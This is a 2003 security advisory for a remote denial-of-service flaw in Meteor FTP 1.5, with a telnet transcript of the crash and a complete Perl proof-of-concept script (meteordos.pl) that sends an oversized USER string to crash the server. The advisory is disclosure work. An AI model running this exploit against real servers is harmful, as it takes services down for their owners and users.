1. Internet Explorer Object Data Remote Execution Vulnerability
2. The Return of the Content-Disposition Vulnerability in IE
3. Internet Explorer Object Type Buffer Overflow in Double-Byte Character Set Environment
4. Microsoft URLScan Configuration Can be Enumerated when Implemented in Conjunction with RSA SecurID
5. Microsoft Internet Explorer about:blank Cross Site Scripting

E-Mail this article to a friend
Send us comments

Title **10/8/2003**

Meteor FTP Remote Denial of Service Vulnerability

Summary

A vulnerability exists in Meteor FTP, which allows any malicious user to remotely cause a denial of service against the FTP server.
By connecting to the Meteor FTP server and issuing USER followed by large amounts of data, the ftp server will crash.

Details

Vulnerable systems:
 * Meteor FTP version 1.5

Example:
Proof of concept exploit (meteordos.pl) is included in the attachment.

root@openwire # telnet 192.168.1.14 21
Trying 192.168.1.14...
Connected to 192.168.1.14.
Escape character is '^]'.
220 Service ready for new user
USER
%%%
%%%
%%%
%%%
%%%
%%%%%%%%%%%%%%%%%%%%
530 Not logged on
QUIT
Connection closed by foreign host.
root@openwire # telnet 192.168.1.14 21
Trying 192.168.1.14...
Connected to 192.168.1.14.
Escape character is '^]'.
USER anonymous
QUIT
telnet> quit
Connection closed.

At this point the server is completely frozen up. On the server side, the Meteor FTP spits out a dialog:

"Error: Access Violation at 0x77FCC992 (Tried to write 0x25252525), program terminated."

By clicking "OK", Meteor FTP terminates.

Vendor status:
Vendor has been notified.

Exploit:

```
#!/usr/bin/perl
#
# meteordos.pl - Remote denial of service against Meteor FTP Version 1.5
#
# A vulnerability has been identified in Meteor FTP Version 1.5, which
# allows malicious users to remotely crash the FTPd. By connecting to the
# FTPd and issuing USER followed by large amounts of data, the server
# crashes. For more info, go to:
# http://www.evicted.org/projects/writings/mftpadvisory.txt
#
# Usage : ./meteordos.pl <host/ip>
#
# Vulnerability & code by zerash
# Contact : zerash@evicted.org

use Net::FTP;
$host = $ARGV[0];
```

```
if("$ARGV[0]" eq "") {
  print("DoS against Meteor FTP Version 1.5 by zerash\@evicted.org\n");
  die("Usage : ./meteorftpdos <host\/ip>\n");
} else {

  print("Connecting to $host...\n");
  my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";
  print("Connected!\n");
  print("Attempting to exploit the ftpd...");
  $ftp->login('%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\
%%%%%%%%%%%%%%%%%%%');
  $ftp->quit;
  print("Success!\n");
}
```

Additional information

The original advisory can be downloaded from: http://www.evicted.org/projects/writings/mftpadvisory.txt.
The information has been provided by Zee.